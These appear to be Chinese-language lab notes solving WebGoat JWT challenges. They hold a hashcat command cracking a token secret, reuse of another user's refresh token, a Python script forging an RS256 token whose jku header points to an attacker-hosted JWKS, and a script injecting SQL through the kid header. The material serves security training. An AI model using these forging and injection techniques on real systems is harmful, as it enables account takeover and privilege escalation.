要求使用admin的身份重置投票





使用库需要知道区别,注意安全问题

hashcat爆破
hashcat -m 16500 -a 0 "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2ODc5MzQ0NiwiZXhwIjoxNzY4NzkzNTA2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.MLzT-gqBUZB8YgtGBLSNYYy4fHqQcm5tIFZ9MTefXFE" /usr/share/wordlists/rockyou.txt.gz
...
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2ODc5MzQ0NiwiZXhwIjoxNzY4NzkzNTA2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.MLzT-gqBUZB8YgtGBLSNYYy4fHqQcm5tIFZ9MTefXFE:business
...


进入页面得到Jerry的用户和密码,和"refresh_token" : "hBAkHBkBDUjZFFSwNZST"(这里refresh_token在获得新的access_token后就失效了)

根据提示:要使用Jerry的refresh_token用于生成Tom的access_token



使用日志中Tom旧的access_token和Jerry的refresh_token,得到新的Tom的access_token





攻击思路:自己提供签名并将jwks服务替换成自己的
首先生成公私钥对:
openssl genrsa -out jwt_rsa.key 2048
openssl rsa -in jwt_rsa.key -pubout -out jwt_rsa.pub
生成jwt的签名代码如下:
import jwt, time
private_key = open("jwt_rsa.key", "rb").read()
now = int(time.time())
payload = {
"Email" : "tom@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"iat": now,
"exp": now + 3600,
"iss" : "WebGoat Token Builder",
"sub" : "tom@webgoat.com",
"username" : "Tom"
}
headers = {
"typ": "JWT",
"alg": "RS256",
"jku": "http://xxx:12345/jwks.json"
}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(token)
# python jwt_gen.py
# eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly82Ny4yMzAuMTg4LjIyNjoxMjM0NS9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il0sImF1ZCI6IndlYmdvYXQub3JnIiwiaWF0IjoxNzY4ODA3NDUxLCJleHAiOjE3Njg4MTEwNTEsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsInN1YiI6InRvbUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIn0.GpTT8-9wKNLeEGyOvWUJfqztLxEnMQCY3rcRCSIGWWj28iabQUBqJ_bDXHAGncKAsWKzXmM-umf9GZ7e_4Lv50AKDf6x6IwwfSDVNpcZkMirQ4Bp3XiNVsR5ukcde8zlRlGcoqwuIaKBEa3bi3JYw8gz5W__L59UbQiguXe2SpUomP5i2lTWdpNwr1IKzbsvd_Zfx_2cZdWSDpGvpa-XfTL4ocvtKaL53BX9C2N_YkGPeKJmFGSpN4y6vgAvAcoa9mXsCSRG7rVandAOYE7miSjoCJrWumpq3k6xDOBLxqlkJyv2pwRR1iBGeqhIlnJswm3wUDRfnIkGg1abNGENPQ

提取n,然后base64url编码
jwks文件格式如下:
{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"n": "rVbPLWNqjR3vXLXVOVYZXp524qzZk-nMWLEA9lzajdIoWhqstnpy55j652rwKCbJZx7z4b8AE6yFuDje1YHQJCW5qEMcqeF6J9BN1t_QH8ynMk4BB_UAVAkUgRCua-TSYeBYxxrGNzR1wN4XxODeIlbCNyaVtovjWGwvzVJ-IZMscuR-BBHAaDiTVothnM5eNtmeB-A10nycDjm5-tPr7XdN9-LC42o3BdWEZuKfNDf2Hwg8JOzIdqCQH5uIyCM_bSydfsaiSdYzBOWvLw5Nkbzmv2lJ_OrKZkQbyIKDmhPIcEVK7IoDySWACsh1cofL3yGzn_GxmMuG3-M6k9MWEw",
"kid": "70e0ed3c",
"kty": "RSA",
"use": "sig"
}
]
}


相较于base64 ,base64url的替换规则是:
+→-/→_- 末尾的
=去掉



import jwt, time
now = int(time.time())
payload = {
"Email" : "tom@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"iat": now,
"exp": now + 3600,
"iss" : "WebGoat Token Builder",
"sub" : "tom@webgoat.com",
"username" : "Tom"
}
headers = {
"typ": "JWT",
"alg": "HS256",
"kid": "' union select 'MTIzNDU2' from jwt_keys -- "
}
# base64(123456)=MTIzNDU2
token = jwt.encode(payload, '123456', algorithm="HS256", headers=headers)
print(token)